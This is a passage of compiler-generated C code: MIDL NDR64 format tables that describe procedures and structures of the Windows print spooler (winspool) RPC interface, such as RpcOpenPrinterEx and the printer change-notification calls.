*/,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag156,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pClientInfo */      /* parameter pClientInfo */\n        &__midl_frag793,\n        { \n        /* pClientInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag817,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag807_t __midl_frag807 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag804_t __midl_frag804 =\n{ \n/* SPLCLIENT_INFO_3 */\n    { \n    /* SPLCLIENT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */,\n        0,\n        0,\n        &__midl_frag807,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 2 /* 0x2 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag803_t __midl_frag803 =\n{ \n/* *SPLCLIENT_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag804\n};\n\nstatic const __midl_frag802_t __midl_frag802 =\n{ \n/* SPLCLIENT_INFO_2 */\n    { \n    /* SPLCLIENT_INFO_2 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_2 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag801_t __midl_frag801 =\n{ \n/* *SPLCLIENT_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag802\n};\n\nstatic const __midl_frag797_t __midl_frag797 =\n{ \n/* SPLCLIENT_INFO_1 */\n    { \n    /* SPLCLIENT_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag807,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 2 /* 0x2 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* SPLCLIENT_INFO_1 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag796_t __midl_frag796 =\n{ \n/* *SPLCLIENT_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag797\n};\n\nstatic const __midl_frag795_t __midl_frag795 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag794_t __midl_frag794 =\n{ \n/* __MIDL_winspool_0010 */\n    { \n    /* __MIDL_winspool_0010 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag795,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 3 /* 0x3 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag796,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag801,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag803,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag793_t __midl_frag793 =\n{ \n/* SPLCLIENT_CONTAINER */\n    { \n    /* SPLCLIENT_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag794\n        },\n        { \n        /* SPLCLIENT_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag783_t __midl_frag783 =\n{ \n/* RpcOpenPrinterEx */\n    { \n    /* RpcOpenPrinterEx */      /* procedure RpcOpenPrinterEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag1080,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag817,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag1080,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* AccessRequired */      /* parameter AccessRequired */\n        &__midl_frag1082,\n        { \n        /* AccessRequired */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pClientInfo */      /* parameter pClientInfo */\n        &__midl_frag793,\n        { \n        /* pClientInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag778_t __midl_frag778 =\n{ \n/* *RPC_V2_NOTIFY_OPTIONS */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag755\n};\n\nstatic const __midl_frag775_t __midl_frag775 =\n{ \n/* RpcRouterRefreshPrinterChangeNotification */\n    { \n    /* RpcRouterRefreshPrinterChangeNotification */      /* procedure RpcRouterRefreshPrinterChangeNotification */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* dwColor */      /* parameter dwColor */\n        &__midl_frag1082,\n        { \n        /* dwColor */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pOptions */      /* parameter pOptions */\n        &__midl_frag778,\n        { \n        /* pOptions */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppInfo */      /* parameter ppInfo */\n        &__midl_frag1082,\n        { \n        /* ppInfo */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag766_t __midl_frag766 =\n{ \n/* RpcRouterReplyPrinterEx */\n    { \n    /* RpcRouterReplyPrinterEx */      /* procedure RpcRouterReplyPrinterEx */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hNotify */      /* parameter hNotify */\n        &__midl_frag827,\n        { \n        /* hNotify */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* dwColor */      /* parameter dwColor */\n        &__midl_frag1082,\n        { \n        /* dwColor */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* fdwFlags */      /* parameter fdwFlags */\n        &__midl_frag1082,\n        { \n        /* fdwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pdwResult */      /* parameter pdwResult */\n        &__midl_frag1082,\n        { \n        /* pdwResult */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwReplyType */      /* parameter dwReplyType */\n        &__midl_frag1082,\n        { \n        /* dwReplyType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* Reply */      /* parameter Reply */\n        &__midl_frag1082,\n        { \n        /* Reply */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag764_t __midl_frag764 =\n{ \n/*  */\n    { \n    /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag756\n    }\n};\n\nstatic const __midl_frag763_t __midl_frag763 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    }\n};\n\nstatic const __midl_frag762_t __midl_frag762 =\n{ \n/* *short */\n    { \n    /* *short */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *short */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag763\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag760\n    }\n};\n\nstatic const __midl_frag761_t __midl_frag761 =\n{ \n/* RPC_V2_NOTIFY_OPTIONS_TYPE */\n    { \n    /* RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_OPTIONS_TYPE */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            